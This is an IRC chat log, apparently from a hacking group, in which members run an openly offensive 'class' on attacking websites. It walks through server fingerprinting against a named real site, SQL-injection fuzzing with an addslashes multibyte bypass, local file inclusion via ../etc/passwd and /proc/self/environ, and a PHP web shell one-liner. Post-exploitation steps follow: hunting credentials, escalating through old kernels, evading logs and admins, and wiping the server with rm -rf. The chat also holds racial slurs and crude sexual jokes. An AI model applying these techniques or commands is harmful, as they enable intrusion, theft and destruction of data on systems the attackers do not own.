
(09:39:29 PM) TylerDurden: /admin/ might be important
(09:39:32 PM) TylerDurden:
(09:39:41 PM) TylerDurden: phpbb for instance, SMF, shit like that.
(09:40:07 PM) zone: so identify caracteristic folders of those content managers
(09:40:16 PM) zone: if found
(09:40:18 PM) zone: print an info
(09:40:22 PM) God: anyone here every ran into " Broken SKA"
(09:40:29 PM) Saya left the room (quit: Quit: leaving).
(09:42:03 PM) Dox: TylerDurden http://th3j35t3r.wordpress.com/wp-login.php?redirect_to=http%3A%2F%2Fth3j35t3r.wordpress.com%2Fwp-admin%2F&reauth=1
(09:42:08 PM) Dox: its needs pwned
(09:42:10 PM) whiteh8 [~shitcan@46D672BC.59CB0294.C5CF906B.IP] entered the room.
(09:42:15 PM) Mutiny: lolololololololo
(09:42:21 PM) zone: lol
(09:42:48 PM) TylerDurden: ok http://pastebin.com/NGDd1b59 how2 get files in bash.
(09:42:52 PM) zone: actually some of his buddies might be reading
(09:42:54 PM) zone:
(09:42:58 PM) mode (+m) by TylerDurden
(09:43:07 PM) Dox: I wish they would speak up
(09:43:20 PM) TylerDurden: now that we know how to see if a file exists, let's identify server versions.
(09:43:22 PM) Dox: and catch th3 ban h4amm3rz
(09:44:22 PM) Dox: zone, they would have to come here to learn. homeboy has no skill
(09:45:30 PM) mode (+v zone) by LordKitsuna
(09:46:11 PM) zone: thx
(09:46:23 PM) zone: line should be
(09:46:53 PM) zone: tsocks curl –silent -I http://www.ourkids.net/robots.txt | grep Server
(09:47:04 PM) zone: but that would pull out a shitload of info
(09:47:08 PM) zone: needs to be cutted
(09:47:20 PM) TylerDurden: exactly.
(09:48:55 PM) LordKitsuna: what more info/= better ?
(09:49:07 PM) TylerDurden: no.
(09:50:08 PM) z3rod4ta: no because we are only checking for robot.txt
(09:50:14 PM) z3rod4ta: correct?
(09:50:36 PM) Dox: no more info == being noisy
(09:50:48 PM) z3rod4ta: got it.
(09:51:13 PM) LordKitsuna: how can that be it clearly says silent in the flags (jkjk)
(09:52:22 PM) TylerDurden: http://pastebin.com/z36pbYuf
(09:52:33 PM) TylerDurden: that's already a bit of info, not?
(09:52:35 PM) zone: I didnt did this one but works
(09:52:38 PM) TylerDurden: a 404 might give more info.
(09:52:40 PM) z3rod4ta: TylerDurden: when running niggers.sh after chmod +x where would that output the info?
(09:52:47 PM) zone: tsocks curl –silent -I http://www.ourkids.net/robots.txt | grep Server | sed 's/ /\n/g' | grep Apache
(09:52:48 PM) TylerDurden: stdout.
(09:53:08 PM) TylerDurden: a 404 page would get us more info, not?>
(09:53:10 PM) zaiger left the room (quit: Ping timeout: 240 seconds).
(09:53:14 PM) zone: aye
(09:53:38 PM) TylerDurden: well, let's CURL a 404 page!
(09:54:12 PM) Hasbro left the room (quit: Ping timeout: 240 seconds).
(09:54:18 PM) TylerDurden: ok, except for a 404, we're going to curl for ws_ftp logs.
(09:54:35 PM) TylerDurden: we might as well try to get the source to index.php with a ngix null byte exploit
(09:54:38 PM) LordKitsuna: a 404 is just any page not found right?
(09:54:43 PM) TylerDurden: yup.
(09:54:49 PM) LordKitsuna: oh then we can just be like http://www.ourkids.net/sdfsdfksdgfskdjfhasdadioashdsi
(09:54:58 PM) TylerDurden: exactly.
(09:54:59 PM) Silly_Dude left the room (quit: Remote host closed the connection).
(09:55:03 PM) Mutiny: http://www.ourkids.net/wesuxdix
(09:55:11 PM) Fox [~fox@9219EF6F.D0255E95.9DC39C6.IP] entered the room.
(09:55:19 PM) LordKitsuna: Mutiny, no thats a real page
(09:55:34 PM) Mutiny: oh yes, i apologize.
(09:55:40 PM) LordKitsuna: thats ok
(09:55:46 PM) TylerDurden: http://www.stallman.org/aids example of a 404
(09:55:50 PM) TR0|\| [~TR0|\|@LulzCo-65F3B210.dynamic.swissvpn.net] entered the room.
(09:56:29 PM) mode (+q Fox) by ChanServ
(09:56:48 PM) bebop left the room (quit: Quit: not ddosin u ne moar).
(09:57:18 PM) TylerDurden: we'd grep for apache tere.
(09:57:23 PM) TylerDurden: tsocks curl –silent $1/niggertitsdicksAAAAAAABB | grep "Apache"
(09:57:37 PM) TylerDurden: for instance that with $1=stallman.org gives us his apache version.
(09:58:00 PM) ratch3t left the room.
(09:58:08 PM) Mutiny: are you afraid /niggertitsdicks will be real? XD
(09:58:17 PM) TylerDurden: no.
(09:58:21 PM) LordKitsuna: watch as this site is somehow really well secured, id laugh
(09:58:32 PM) TylerDurden: oh it isnt.
(09:58:42 PM) TylerDurden: i made sure of that by picking the target myself.
(09:58:58 PM) s4 [~ssss@LulzCo-F9A64B55.lightspeed.rlghnc.sbcglobal.net] entered the room.

(09:59:14 PM) LordKitsuna: when you are not busy TylerDurden you should check our testsite been hardening it lol point out flaws/holes in it
(09:59:27 PM) zone: TylerDurden, how to make cases?
(09:59:31 PM) zone: Case apache
(09:59:36 PM) zone: Case nginx
(09:59:38 PM) zone: Case whatever
(09:59:52 PM) pedro [~pedro@LulzCo-AB671975.nowhere-else.org] entered the room.
(09:59:55 PM) TylerDurden: basically set a numeric flag
(10:00:10 PM) TylerDurden: | grep "Apache" && myCase=1
(10:00:15 PM) TylerDurden: then work from myCase on
(10:00:19 PM) TylerDurden: but that's not really usefull here.
(10:00:26 PM) TylerDurden: as i'm trying to cover the basics
(10:00:30 PM) mode (-m) by TylerDurden
(10:00:33 PM) zone: just wondering
(10:00:36 PM) zone: sowies
(10:00:45 PM) TylerDurden: yeah, still follow ppl?
(10:00:51 PM) TylerDurden: this might b harsh on bash noobs.
(10:01:18 PM) garrett: sec
(10:01:21 PM) garrett: ima upload a nice book
(10:01:43 PM) garrett: http://www.mediafire.com/?mdehk8ovvhoxvs6
(10:01:45 PM) garrett: nm had it upped
(10:01:55 PM) LordKitsuna: garrett, is it a pdf?
(10:02:02 PM) garrett: yes
(10:02:07 PM) LordKitsuna: then fuck it lol, hate pdf's with a burning passion
(10:02:08 PM) TylerDurden: http://www.hackersforcharity.org/ghdb/ google dorks you can do on the site.
(10:02:12 PM) adh: thank 'e garrett
(10:02:18 PM) Fox: :3
(10:02:18 PM) garrett: LordKitsuna: w/e
(10:02:21 PM) garrett: i like chms too
(10:02:28 PM) garrett: but we cant be so lucky with every rls
(10:02:29 PM) xRay: What was todays class?
(10:02:39 PM) MoDahkah left the room (quit:).
(10:02:39 PM) start is now known as end
(10:03:42 PM) z3rod4ta: xRay: asm
(10:03:50 PM) xRay: Mmm
(10:05:25 PM) TylerDurden: tsocks curl –silent $1/niggertitsdicksAAAAAAABB | grep "Apache"
(10:05:25 PM) TylerDurden: tsocks curl –silent $1/niggertitsdicksAAAAAAABB | grep "IIS"
(10:05:25 PM) TylerDurden: tsocks curl –silent $1/niggertitsdicksAAAAAAABB | grep "ngix"
(10:05:26 PM) TylerDurden: that should do for now.
(10:05:43 PM) TylerDurden: ok, so now we should be able to identify most web servers.
(10:05:53 PM) TylerDurden: everyone follow?
(10:05:56 PM) zone: yep
(10:06:07 PM) TylerDurden: ok, let's do phpbb forums
(10:06:15 PM) TylerDurden: usual forum urls: /forum /forums /messageboard
(10:07:26 PM) TylerDurden: http://$1/docs/CHANGELOG.html
(10:07:39 PM) TylerDurden: that's how you determine a phpbb version.
(10:07:49 PM) TylerDurden: you might also want to grab the copyright line for shits n giggles.
(10:10:13 PM) Hasbro [~Hasbro@LulzCo-43A8549D.nycmny.fios.verizon.net] entered the room.
(10:11:05 PM) TransfiniteGreyWizard: I just heard a politician tell the truth
(10:11:10 PM) TransfiniteGreyWizard: What the fuck is going on
(10:11:24 PM) chkkit left the room (quit: Remote host closed the connection).
(10:11:26 PM) kratos: um
(10:11:28 PM) kratos: it's nginx
(10:11:29 PM) kratos: ^
(10:11:43 PM) TransfiniteGreyWizard: "Don't worry about china, theres actually nothing to worry about. We are 9-11x as wealthy"
(10:11:52 PM) TylerDurden: thanks for fixin' the typo for me.
(10:12:07 PM) kratos: np
(10:12:17 PM) kratos: just about to go to bed, gnight
(10:12:21 PM) zone left the room (Kicked by God (zone)).
(10:12:39 PM) chkkit [~chkkit@LulzCo-879302C5.torservers.net] entered the room.
(10:12:41 PM) LordKitsuna: why did you kick zone god?
(10:12:48 PM) God: trying to gte his attention
(10:13:02 PM) LordKitsuna: that's an assholish way of doing it
(10:13:02 PM) TylerDurden: http://pastebin.com/7BieznDz this is your script up till now
(10:13:04 PM) LordKitsuna: highfive
(10:13:05 PM) TylerDurden: if it's not COPY IT.
(10:13:50 PM) thatsnice: I have a question
(10:13:58 PM) TylerDurden: yeah?
(10:14:19 PM) thatsnice: im not sure if you told it, but what is the point of the robots.txt
(10:14:20 PM) xRay: TylerDurden the methods you've used work to an extent but with something like lighthttpd it may just redirect invalid links to the main page.. If you get that your best bet is exec nmap -sV -p 80 www.site.com
(10:14:28 PM) haut: Why waste so much bandwidth for just one target
(10:14:34 PM) thatsnice: i might not have been here when you explained it
(10:14:47 PM) xRay: Some times people put admin dir's in the robots.txt thinking it will stop it showing up in google.
(10:14:48 PM) adh: Websites use robots.txt as instructions for search engines, what to include/exclude

from search results
(10:14:49 PM) haut: thatsnice: it's used to tell webspiders to exclude certain directories
(10:14:59 PM) zone [~abc@FB2E1230.9D472C39.A6886F08.IP] entered the room.
(10:14:59 PM) haut: thatsnice: like, tell the googlebot to not index that stuff
(10:15:14 PM) mode (+m) by LordKitsuna
(10:15:19 PM) LordKitsuna: too much stuff need to read it all
(10:15:21 PM) TylerDurden: xRay: i know, but we dont want to nmap just yet.
(10:15:28 PM) TylerDurden: xRay: nmap is more intrusive than a 404
(10:15:39 PM) mode (-m) by LordKitsuna
(10:15:40 PM) LordKitsuna: k
(10:15:44 PM) xRay: Yeah that's true
(10:15:57 PM) TylerDurden: ok, the point of this is INFORMATION GATHERING PEOPLE.
(10:16:07 PM) TylerDurden: you want to be AS SILENT AS POSSIBLE.
(10:16:12 PM) TylerDurden: if possible USE GOOGLE TO GET THE INFO
(10:16:24 PM) TylerDurden: also: google translate is a good proxy.
(10:16:25 PM) TylerDurden:
(10:16:30 PM) adh: haha
(10:16:51 PM) bob_22: Thanks for the class Tyler, gotta crash. paste it up somewhere.
(10:16:53 PM) LordKitsuna: TylerDurden, would using Google translator make it look like its google grabbing shit on the server end? (i dont know shit so forgive me if thigns i say are stupid)
(10:16:57 PM) LordKitsuna: of
(10:16:59 PM) LordKitsuna: oh
(10:17:04 PM) LordKitsuna: damnit you said that as i was typing
(10:17:11 PM) LordKitsuna: nvm
(10:17:14 PM) bob_22 left the room.
(10:17:14 PM) s4: I missed everything, a paste would be nice
(10:17:30 PM) TylerDurden: yes it would:P
s1z1f s4 SamiR Savitri scottbell Shidash Shiny suckmyace swan
(10:17:40 PM) TylerDurden: that's why i use it.
(10:17:49 PM) z3rod4ta: s4 i think the class will posted at pastbin after its done.
(10:17:53 PM) TylerDurden: you see, webmasters expect google in their logs.
(10:17:59 PM) mode (+m) by TylerDurden
(10:18:07 PM) TylerDurden: so google won't stand out too much.
(10:18:13 PM) TylerDurden: this is why google translate as a proxy is a good idea.
(10:18:26 PM) TylerDurden: let's factor in a way to do this easily into our script, shall we?
(10:18:30 PM) TylerDurden: we make a generic getpage function.
(10:21:27 PM) end left the room (quit: Remote host closed the connection).
(10:22:40 PM) TylerDurden: http://pastebin.com/N0EXahxR your script up till now.
(10:23:31 PM) TylerDurden: as you might have noticed, i grabbed the phpbb copyright line too real quick.
(10:23:32 PM) Fox left the room (quit: Ping timeout: 240 seconds).
(10:23:38 PM) TylerDurden: if you can't find any real info, use the copyright line.
(10:23:44 PM) TylerDurden: it at least gives you a year in which it was built.
(10:23:47 PM) Fox [~fox@9219EF6F.D0255E95.9DC39C6.IP] entered the room.
(10:24:15 PM) TylerDurden: invision pro boards are another usual target.
LordBulletproofGangster LordKitsuna
(10:25:58 PM) TampaDivision [~sifaujasg@LulzCo-81798442.tampabay.res.rr.com] entered the room.
(10:27:18 PM) Mutiny: it kind of makes me nervous seeing some of the files I do… :-/
(10:27:23 PM) Mutiny: http://www.google.com/search?sourceid=navclient&ie=UTF-8&oe=UTF-8&q=intitle%3Aindex.of.private#sclient=psy&hl=en&source=hp&q=intitle:index.of.admin&aq=f&aqi=&aql=&oq=&pbx=1&bav=on.2,or.r_gc.r_pw.&fp=7ff7d408b5d36764&biw=1600&bih=850
(10:27:31 PM) TylerDurden:
(10:27:35 PM) Mutiny: Index of /admin/gov
(10:28:21 PM) TylerDurden: hehe.
(10:28:34 PM) TylerDurden: some .govs have mad robots.txt files too.
(10:28:40 PM) z3rod4ta: TylerDurden: will this be posted later, need to get my kid into bed
(10:28:41 PM) TylerDurden: the goal is to automate this shit.
(10:28:41 PM) Mutiny: haha
(10:28:44 PM) A-Man left the room (quit: Quit: Quit).
(10:28:53 PM) TylerDurden: z3rod4ta: i
(10:29:00 PM) TylerDurden: i'm sure someone is copying it.
(10:29:14 PM) Mutiny: If not I can always go back
(10:29:27 PM) Mutiny: at least until I close the window XD
(10:29:37 PM) LordKitsuna: my client logs everything so if its not posted i can go back and grab it
(10:29:43 PM) TylerDurden: k.
(10:29:49 PM) TylerDurden: i keep no logs for obvious reasons.
(10:29:51 PM) z3rod4ta: than have a good night guys
(10:29:53 PM) TylerDurden: now, back to the code.
(10:30:05 PM) LordKitsuna: TylerDurden, cus of all the porn?
(10:30:59 PM) chkkit left the room (quit: Quit: Leaving).
(10:31:08 PM) TampaDivision left the room (quit:).
(10:31:33 PM) Mutiny: haha intitle:index.of.porn is pretty entertaining
(10:32:04 PM) TylerDurden: http://pastebin.com/rVWTBAx9 script so far.
(10:32:16 PM) TylerDurden: as you can see, we're now going after wordpress.
(10:32:23 PM) TampaDivision [~sifaujasg@LulzCo-81798442.tampabay.res.rr.com] entered the room.
(10:33:56 PM) Mutiny: http://www.theageofmammals.com/secret/domain/Stadium_Seating.jpg lmfao ghetto awesome
(10:34:19 PM) LordKitsuna: ^thats amazign

(10:34:38 PM) Mutiny: It is isn't it?
(10:34:46 PM) LordKitsuna: i could so do that too
(10:34:52 PM) LordKitsuna: i have the tools/extra wood
(10:34:53 PM) garrett: Perl can help me iterate over the cocks in a given stall, mark each as sucked or unsucked and sort them by length. Then I can be gay with piss and go home and take a nap.
(10:35:45 PM) TylerDurden: file_exists $1/wp-login.php && echo "WordPress installed."
(10:35:53 PM) TylerDurden: everyone follow up till now?
(10:36:07 PM) mode (-m) by LordKitsuna
(10:36:23 PM) hatter: <3 garrett
(10:36:35 PM) TylerDurden: so, what we're doing is finding version dorks for a lot of pieces of software.
(10:36:56 PM) s4 left the room (quit: Quit: take it slo, bro).
(10:36:58 PM) mode (+m) by LordKitsuna
(10:37:12 PM) hatter: lol
(10:37:13 PM) hatter: wow
(10:37:19 PM) hatter: why not just teach fuzzing tyler?
(10:37:28 PM) hatter: and then exploitation
(10:37:34 PM) hatter: and how to analyze inputs
(10:37:45 PM) TylerDurden: because: n00bs.
(10:37:53 PM) LordKitsuna: tyler would loose money if he did that
(10:37:55 PM) hatter: I think they can keep up
(10:37:59 PM) TylerDurden: ok.
(10:38:01 PM) TylerDurden: well then
(10:38:05 PM) TylerDurden: let's skip to fuzzing.
(10:38:14 PM) TylerDurden: i assume you can all just fucking figure the google dorks out by now.
(10:38:20 PM) TylerDurden: and copy paste a line in your bash script for every one.
(10:38:29 PM) TylerDurden: add nmap and a few more things in there.
(10:38:30 PM) TylerDurden: ok.
(10:38:32 PM) TylerDurden: up to fuzzing.
(10:38:39 PM) hatter: lol. I meant web app fuzzing.
(10:38:47 PM) TylerDurden: hatter: i know.
(10:38:58 PM) TylerDurden: hatter: easiest way is adding a quote.
(10:39:03 PM) TylerDurden: then using diff.
(10:39:17 PM) hatter: not always accurate though.
(10:39:21 PM) TylerDurden: no.
(10:39:23 PM) TylerDurden: Ok
(10:39:30 PM) TylerDurden: here's a step by step plan for web app fuzzing.
(10:39:37 PM) TylerDurden: See if you can add a single quote, and if shit breaks then.
(10:39:42 PM) TylerDurden: See if you can add a double quote and if shit breaks then.
(10:39:48 PM) TylerDurden: See if you can add a null byte and if shit breaks then.
(10:39:58 PM) TylerDurden: If one of these conditions changes the current page.
(10:40:04 PM) TylerDurden: You check if it's a numeric or string field.
(10:40:09 PM) TylerDurden: And apply SQLI conditions to it.
(10:40:09 PM) hatter: check out a spacebar too.
(10:40:15 PM) hatter: or a +
(10:40:18 PM) seneca [seneca@8746BC43.28B72224.ABF5F547.IP] entered the room.
(10:40:20 PM) TylerDurden: or a -1
(10:40:25 PM) hatter: sometimes stuff gets sanitized, but not all of it
(10:40:34 PM) TylerDurden: But since we've covered SQL, let's write a fuzzer.
(10:40:38 PM) hatter: the best way to be secure is by whitelisting characters.
(10:41:03 PM) TylerDurden: regex.
(10:41:11 PM) hatter: delete anything that doesn't fit the criteria.
(10:41:15 PM) TylerDurden: Ok. but we're here for offensive shit.
(10:41:16 PM) hatter: what TylerDurden said
(10:41:25 PM) hatter: Regex applies to that
(10:41:41 PM) TylerDurden: regex is a one line fix, writing a fuzzer is a 20 lines program;)
(10:41:47 PM) TylerDurden: ok. to fuzz shit, we need to know what to fuzz.
(10:41:55 PM) TylerDurden: web forms and urls are the easiest
(10:41:58 PM) TylerDurden: let's just start with urls.
(10:42:11 PM) TylerDurden: how the fuck do we get fuzzable urls?
(10:42:21 PM) TylerDurden: a fuzzable url has some kind of goddamn parameter in it.
(10:42:31 PM) TylerDurden: you can bet your ass there's an equal sign in there somewhere.
(10:42:32 PM) zephyr left the room (quit: Ping timeout: 240 seconds).
(10:45:44 PM) TylerDurden: fuck, phone call.
(10:45:46 PM) hatter: not only that
(10:45:51 PM) hatter: Sometimes
(10:45:57 PM) hatter: you've seen those "clean urls"
(10:46:11 PM) hatter: that just have /something/somethingelse/numberordate
(10:46:22 PM) hatter: those are usually parameters to those equal signs
(10:46:30 PM) hatter: the variables are just hiding
(10:46:43 PM) hatter: a lot of times its part of an MVC application if the URL's are clean
(10:46:50 PM) hatter: null bytes, single quotes, etc are awesome
(10:47:05 PM) hatter: sometimes, none of them will show up though, if they're using a non-utf8 charset
(10:47:12 PM) hatter: meaning multi-byte encodings are possible
(10:47:20 PM) hatter: the addslashes() function, in php for example
(10:47:27 PM) hatter: is vulnerable if using a multibyte platofrm
(10:47:43 PM) hatter: a quote, aka "%27"
(10:47:51 PM) hatter: won't change anything
(10:47:57 PM) hatter: but %bf%27 will
(10:48:17 PM) wutthe left the room (quit:).

(10:48:25 PM) hatter: because when there's addslashes(), it tries to escape the quote.
(10:48:33 PM) hatter: the \ is a \x5c
(10:48:38 PM) hatter: %5c
(10:48:46 PM) i0dic [~i0dic@LulzCo-EADBB201.formlessnetworking.net] entered the room.
(10:48:53 PM) hatter: the characters %bf%27 aren't multibyte
(10:49:03 PM) hatter: but %bf%5c%27 are
(10:49:14 PM) hatter: so when the sanitizing occurs, you escape the single quote
(10:49:21 PM) hatter: and you have another fuzzing method
(10:49:39 PM) t: zomg guys they got an uncorrupted hard drive
(10:49:40 PM) t: !!!
(10:49:49 PM) mode (+v TR0|\|) by hatter
(10:50:13 PM) TylerDurden: do you guys want to see how to write an actual fuzzer, or are you man enough to lern by hand.
(10:50:23 PM) hatter: they gotta learn by hand
(10:50:27 PM) hatter: before they can write it
(10:50:44 PM) TylerDurden: well then.
(10:50:46 PM) XStatic left the room (quit: Remote host closed the connection).
(10:50:50 PM) TylerDurden: what was our tutorial site again?;)
(10:50:58 PM) hatter: tutorial site?
(10:50:59 PM) LordKitsuna: japfap.ath.cx
(10:51:02 PM) hatter: Oh
(10:51:04 PM) hatter: Uh oh
(10:51:04 PM) hatter: lol
(10:51:10 PM) LordKitsuna: /testshit
(10:51:19 PM) Mutiny: japfap.ath.cx/testshit? lolol
(10:51:26 PM) TylerDurden: http://japfap.ath.cx/testshit/page/
(10:51:31 PM) TylerDurden: go fuzz.
(10:52:40 PM) ref [~ref@LulzCo-17F690C3.dyn.iinet.net.au] entered the room.
(10:53:10 PM) hatter left the room (Kicked by hatter (testing)).
(10:53:17 PM) hatter [~hatter@763DA217.EEF9EEBE.7547DCD8.IP] entered the room.
(10:53:17 PM) mode (+ao hatter hatter) by ChanServ
(10:53:50 PM) hatter: wrd
(10:54:06 PM) TylerDurden: anyone FIND the lfi yet?
(10:54:34 PM) LordKitsuna: they had a reverse shell on the site at one point
(10:54:45 PM) LordKitsuna: but i got rid of that at some point
(10:55:03 PM) Dox left the room (quit: Remote host closed the connection).
(10:55:21 PM) Dox [~Dox@523348E1.DF5DE424.9620FB36.IP] entered the room.
(10:55:49 PM) hatter: lol
(10:55:55 PM) mode (+h Dox) by t
(10:56:01 PM) TylerDurden: ok.
(10:56:06 PM) TylerDurden: basic way to test for LFI guise.
(10:56:14 PM) TylerDurden: say you have a page with include=autism.txt
(10:56:28 PM) hatter: lol
(10:56:33 PM) TylerDurden: and you are in directory /admin/fail.php?include=autism.txt
(10:56:35 PM) hatter: pretty much
(10:56:38 PM) TylerDurden: and you are in directory /admin/fail.php?include=../admin/autism.txt
(10:56:47 PM) TylerDurden: does that werk?
(10:56:50 PM) TylerDurden: if yes: lfi.
(10:56:56 PM) hatter: rofl
(10:57:20 PM) mode (+q Fox) by ChanServ
(10:57:27 PM) Fox: LordKitsuna pastebin once done
(10:57:39 PM) TylerDurden: /admin/fail.php?include=../../../../../../etc/passwd%00 <- does that werk?
(10:57:41 PM) TylerDurden: if yes: lfi
(10:57:47 PM) TylerDurden: now: a filesystem has a path limit.
(10:57:52 PM) TylerDurden: that path limit is usually 255 characters.
(10:57:56 PM) TylerDurden: sometimes null bytes do not work.
(10:57:58 PM) hatter: ^
(10:58:05 PM) TylerDurden: so we can increase the directory traversal length by one letter each time untill we hit the path limit.
(10:58:08 PM) LordKitsuna: Fox, so im the pastebinner? kk just highlight me agaibn when done
(10:58:10 PM) TylerDurden: and voilla, we dont need a null byte anymore.
(10:58:24 PM) TylerDurden: once you have a lfi, you can get a passwords file.
(10:58:28 PM) TylerDurden: passwords files are shit useless.
(10:58:37 PM) TylerDurden: /etc/shadow is where the party is at.
(10:58:51 PM) TylerDurden: you can however include /proc/self/environ or the like
(10:59:01 PM) TylerDurden: this shows your http request in the website's page.
(10:59:02 PM) TylerDurden: cool.
(10:59:04 PM) Mutiny: http://www.sparkynet.com/turtle/etc/passwd There isn't a /etc/shadow here
(10:59:15 PM) TylerDurden: this INCLUDES your http request in it.
(10:59:27 PM) TylerDurden: wait.
(10:59:30 PM) TylerDurden: it includes it?
(10:59:33 PM) TylerDurden: fullretard.jpg.exe.tiff
(10:59:37 PM) suckmyace left the room (quit: Quit: HydraIRC -> http://www.hydrairc.com <- Organize your IRC).
(10:59:49 PM) TylerDurden: now you can drop a php shell in your useragent for instance
(10:59:51 PM) hatter: loool
(10:59:55 PM) TylerDurden: preferably you put a php shell in your post data.
(11:00:01 PM) TylerDurden: because post data usually doesn't get logged.
(11:00:05 PM) xochipilli: or cookie

(11:00:06 PM) hatter: or cookie data
(11:00:10 PM) xochipilli: heh
(11:00:10 PM) hatter: lol
(11:00:11 PM) hatter: xochipilli: <3
(11:00:13 PM) TylerDurden: so, you put a php shell in post or cookie.
(11:00:14 PM) xochipilli: <3
(11:00:37 PM) Fox: /away
(11:00:39 PM) Fox: you all be good
(11:00:39 PM) Fox: :3
(11:01:09 PM) hatter: kk
(11:01:12 PM) Anorov left the room (quit:).
(11:01:15 PM) TylerDurden: <? system($_POST[penis]);exit; ?>
(11:01:15 PM) xochipilli: nn
(11:01:20 PM) TylerDurden: that's an example of a php shell.
(11:01:22 PM) TylerDurden: it's that easy.
(11:01:26 PM) xochipilli: do u rly need the exit?
(11:01:30 PM) hatter: you don't even rly need exit
(11:01:31 PM) TylerDurden: ya.
(11:01:34 PM) hatter: nah
(11:01:35 PM) TylerDurden: ya u do.
(11:01:35 PM) hatter: you dont
(11:01:38 PM) hatter: lol
(11:01:38 PM) xochipilli: ^
(11:01:44 PM) ezgee [~ezgee@LulzCo-C85A72D3.torservers.net] entered the room.
(11:01:49 PM) TylerDurden: technically you could screw the output/break off the send in the next line.
(11:01:55 PM) TylerDurden: so technically you need exit;)
(11:01:59 PM) hatter: no.
(11:02:15 PM) hatter: if you're executing a system call
(11:02:19 PM) hatter: it returns when the call ends.
(11:02:30 PM) hatter: so when the normal app ends, even if its only one command
(11:02:32 PM) hatter: it returns 0
(11:02:36 PM) hatter: like we learned in assembly class
(11:02:43 PM) inversion [~warirc@LulzCo-B3A35BDA.dynamic.mainstaycomm.net] entered the room.
(11:03:00 PM) hatter: So the process just ends like it would with exit.
(11:03:17 PM) TylerDurden: heh. k.
(11:03:23 PM) TylerDurden: i never did much php:P
(11:03:32 PM) TylerDurden: can rape it pretty well tough
(11:03:42 PM) hatter: same.
(11:03:43 PM) hatter: lol
(11:03:53 PM) TylerDurden: ok. so now you've got a php shell.
(11:03:56 PM) TylerDurden: that's cute
(11:04:20 PM) hatter: start looking at files & runnin decent commands
(11:04:30 PM) TylerDurden: you can for instance read db files, install a user backdoor.
(11:04:30 PM) TylerDurden: check the user you're logged in, see if the fucktard has a bash_history
(11:04:51 PM) hatter: find -name *conf* -exec grep -i "user\|database\|host" '{}' \;
(11:04:53 PM) TylerDurden: but since you got in trough lfi anyways, chances are the security is shit.
(11:05:15 PM) TylerDurden: so try uname -a
(11:05:22 PM) TylerDurden: it shows the day the kernel was compiled, and which version it's running.
(11:05:34 PM) TylerDurden: old kernel = fail kernel = probably exploitable.
(11:06:02 PM) hatter: not always.
(11:06:02 PM) mode (+v whiteh8) by TylerDurden
(11:06:10 PM) hatter: depends on where you see it
(11:06:17 PM) hatter: if its a big static probably modified build
(11:06:19 PM) hatter: stay away
(11:06:22 PM) hatter: you're being logged
(11:06:23 PM) hatter: lol
(11:06:30 PM) TylerDurden: find / -type f -perm 0777 <-find writable folders.
(11:06:33 PM) adh left the room.
(11:06:36 PM) hatter: and executable
(11:06:56 PM) hatter: not all writable folders can be written to
(11:07:04 PM) hatter: with applications
(11:07:04 PM) TylerDurden: not by YOU anyways.
(11:07:06 PM) TylerDurden: 
(11:07:08 PM) hatter: and still have the applications work
(11:07:12 PM) adh [~Nate@LulzCo-8EF823D1.hsd1.md.comcast.net] entered the room.
(11:07:19 PM) micja [~quassel@DC636AA8.605E95F1.3C0E7904.IP] entered the room.
(11:07:26 PM) hatter: you could try chmod
(11:07:29 PM) TylerDurden: so the first thing you want to do is get a writable folder.
(11:07:29 PM) hatter: but that might not always work
(11:07:37 PM) TylerDurden: you could also see if you're allowed to make device nodes in a folder;)
(11:07:40 PM) hatter: with execute permissions
(11:07:46 PM) Dox is now known as Dox_
(11:07:52 PM) hatter: mknod
(11:07:55 PM) Dox_: night all
(11:07:59 PM) Dox_: night hatter
(11:08:02 PM) TylerDurden: night dox.
(11:08:03 PM) hatter: night
(11:08:21 PM) TylerDurden: ok, mknod + setting permissions is pretty win too.

(11:08:26 PM) hatter: ^
(11:08:35 PM) TylerDurden: basically, find shit the admin didn't think of to get around file permissions.
(11:08:56 PM) TylerDurden: i like setting all my temp directories nonexecutable, no device nodes, and no file listin'.
(11:09:12 PM) TylerDurden: basic users can only read/write their home dir, and not set execute permissions.
(11:09:29 PM) TylerDurden: you might also want to prevent them from reading keyboard shite.
(11:09:35 PM) TylerDurden: or other I/O
(11:09:45 PM) Mutiny: http://www.larrywseymour.com/robots.txt/robots.txt that's one of the larger robots.txt I've found so far xD
(11:09:56 PM) TylerDurden: as an attacker, keyboard or other I/O can tell you if there's an admin on the box.
(11:10:12 PM) seneca left the room (quit: Quit: leaving).
(11:10:30 PM) adh left the room (quit: Quit: adh).
(11:10:32 PM) TylerDurden: if there's an admin, wait the fuck up and hide till he's gone.
(11:10:55 PM) TylerDurden: now.
(11:10:57 PM) TylerDurden: for exploiting high profile sites
(11:10:58 PM) TylerDurden: YOU ARE MONITORED.
(11:11:15 PM) TylerDurden: Hence executing shell command MIGHT Not be the best way to do shit.
(11:11:22 PM) TylerDurden: Myself i prefer using an extendable piece of shellcode.
(11:11:28 PM) TylerDurden: That is: shell code i can augment with shit i need on the fly.
(11:11:51 PM) TylerDurden: So before yuo go thinkin' that ssh is the only way, it isn't.
(11:12:08 PM) TylerDurden: it's actually a pretty fucktarded way, because: logs.
(11:12:25 PM) TylerDurden: any server worth it's salt is going to have someone that reads the logs.
(11:12:51 PM) iyobe [Iyobe@LulzCo-B06641C5.google-it.info] entered the room.
(11:12:55 PM) hatter: or if you want to be lolz
(11:12:57 PM) TylerDurden: In case there's an IDS or more security, there's probably backups of those logs too.
(11:12:58 PM) hatter: if you see an admin
(11:13:03 PM) hatter: and you can execute the write command
(11:13:11 PM) t: execpt sony they obv dnt check shit (sorry had to go there)
(11:13:12 PM) hatter: you can see root logged in with `w'
(11:13:32 PM) hatter: cat /dev/urandom | write root &
(11:13:39 PM) hatter: kick that bitch off his terminal
(11:13:45 PM) hatter: only if you do something like
(11:14:04 PM) tetsuo [~o__O@LulzCo-59E527C1.lombox.customer.bit.nl] entered the room.
(11:14:29 PM) TylerDurden: Anyways, in case you notice that they are running any decent IDS, you pack your shit, rm-rf the server and run.
(11:14:58 PM) hatter: w|awk '/ro[o]t// {print "cat /dev/urandom | write root "$2" &"}|sh &
(11:15:09 PM) hatter: w|awk '/ro[o]t/ {print "cat /dev/urandom | write root "$2" &"}|sh &
(11:15:10 PM) hatter: *
(11:15:14 PM) tetsuo left the room (quit:).
(11:15:15 PM) TylerDurden: because 99% of the time it isn't worth it to have access to that box, 'cause you wont stay on it for long.
(11:15:27 PM) TylerDurden: Unless you somehow manage to get a kernel patch onto it;)
(11:15:32 PM) hatter: ^
(11:15:56 PM) TylerDurden: Kernel patching is awesome, but i suck at it.
(11:15:59 PM) hatter: that can come in a module, a hook to /dev/kmem, a hook to /proc/cpu /microcode, etc
